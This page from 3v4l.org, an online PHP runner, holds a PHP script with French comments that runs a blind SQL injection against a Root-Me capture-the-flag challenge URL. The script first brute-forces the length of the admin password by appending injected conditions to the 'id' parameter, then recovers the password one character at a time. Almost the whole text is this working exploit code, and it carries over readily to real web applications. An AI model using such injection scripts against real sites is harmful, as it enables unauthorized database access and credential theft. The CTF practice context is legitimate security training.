3v4l.org

run code in 300+ PHP versions simultaneously
<?php //On désactive la limite des 30sec d'exécution du script set_time_limit(0); //L'URL standard à exploiter $url="http://challenge01.root-me.org/web-serveur/ch10?id=1"; /* Bruteforce de la longueur du pass */ $max = 40; //La longueur maxi qu'on s'autorise $longueur = 0; echo "Bruteforce de la longueur du mot de passe en cours...<br />"; for($i = 1; $i<$max; $i++){ //On ouvre l'URL $fp = fopen($url . urlencode(" and length(password)=$i"),"r"); $buf = ""; //On lit le résultat while(!feof($fp)) { $buf .= fgets($fp); } //Si on trouve "admin" sur la page if(preg_match("/admin/",$buf)) { echo "La longueur du pass est : $i <br />"; $longueur = $i; break; } } if($longueur == 0) die("Longueur non trouvée"); /* Bruteforce du pass */ $pass = ""; $i = 1; //Plage des caractères ASCII à balayer $borne_inf = 48; $borne_sup = 123; //Initialisation $code = $borne_inf; while($i <= $longueur){ if($code == $borne_sup + 1) $code = $borne_inf; //On ouvre l'URL $fp = fopen($url.urlencode(" and substring(pass,$i,1)=char($code)"),"r"); $ligne = ""; //On lit et on teste while(!feof($fp)) { $ligne .= fgets($fp); } if(preg_match("/admin/",$ligne)) { //Une lettre à été trouvée ! echo "$i eme lettre trouvée : ".chr($code)." <br />"; $pass .= chr($code); //On passe au caractère suivant $i++; $code = $borne_inf; } $code++; } echo "Pass final : $pass <br />"; ?>

preferences:
30.43 ms | 402 KiB | 5 Q